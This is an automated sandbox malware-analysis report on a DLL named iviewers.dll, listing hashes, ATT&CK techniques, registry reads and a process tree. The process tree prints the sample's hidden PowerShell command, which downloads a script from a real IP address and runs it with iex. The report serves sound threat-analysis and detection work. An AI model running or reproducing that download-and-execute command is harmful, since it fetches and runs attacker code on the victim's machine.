9c2838e120c7ed5b582bedc6177f14a52aa578adeea269d0f96fc71a95bd6e68

Analysis

max time kernel
117s
max time network
124s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
02-01-2025 18:16

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General

Target

iviewers.dll
Size

88KB
MD5

33ae2b9c3e710254fe2e2ce35ff8a7c8
SHA1

109e32187254b27e04ef18bbe1b48fad42bca841
SHA256

9c2838e120c7ed5b582bedc6177f14a52aa578adeea269d0f96fc71a95bd6e68
SHA512

2abe017e2f1d29fe789206d6483b9b33e7abd0871300d678eaba15e390d55c5e197d6cea6ea32dfdee5f65d082574adcc192a4fc0c9506bbba8ad7e957e12599
SSDEEP

1536:L02ifPleVQ8zxlaSRslYzy26igsbuNdn4fuH1e6tsWy4cdlETcgS/iG:5iV4Qaxltsl/ggsCN3oBlQcgkiG

Score

8^/10

discovery execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2848	powershell.exe

System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	regsvr32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2848	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2848	powershell.exe

Suspicious use of WriteProcessMemory 15 IoCs

description	pid	Process	procid_target
PID 2816 wrote to memory of 2680	2816	regsvr32.exe	30
PID 2816 wrote to memory of 2680	2816	regsvr32.exe	30
PID 2816 wrote to memory of 2680	2816	regsvr32.exe	30
PID 2816 wrote to memory of 2680	2816	regsvr32.exe	30
PID 2816 wrote to memory of 2680	2816	regsvr32.exe	30
PID 2816 wrote to memory of 2680	2816	regsvr32.exe	30
PID 2816 wrote to memory of 2680	2816	regsvr32.exe	30
PID 2680 wrote to memory of 2652	2680	regsvr32.exe	31
PID 2680 wrote to memory of 2652	2680	regsvr32.exe	31
PID 2680 wrote to memory of 2652	2680	regsvr32.exe	31
PID 2680 wrote to memory of 2652	2680	regsvr32.exe	31
PID 2652 wrote to memory of 2848	2652	cmd.exe	33
PID 2652 wrote to memory of 2848	2652	cmd.exe	33
PID 2652 wrote to memory of 2848	2652	cmd.exe	33
PID 2652 wrote to memory of 2848	2652	cmd.exe	33

C:\Windows\system32\regsvr32.exe
regsvr32 /s C:\Users\Admin\AppData\Local\Temp\iviewers.dll
1⤵
- Suspicious use of WriteProcessMemory
PID:2816
- C:\Windows\SysWOW64\regsvr32.exe
  /s C:\Users\Admin\AppData\Local\Temp\iviewers.dll
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2680
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c powershell -windowstyle hidden -command "iwr -useb http://147.45.44.131/infopage/iubn.ps1 -Headers @{ 'X-Special-Header' = 'qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJq' } | iex"
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2652
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell -windowstyle hidden -command "iwr -useb http://147.45.44.131/infopage/iubn.ps1 -Headers @{ 'X-Special-Header' = 'qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJq' } | iex"
      4⤵
      Command and Scripting Interpreter: PowerShell
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2848

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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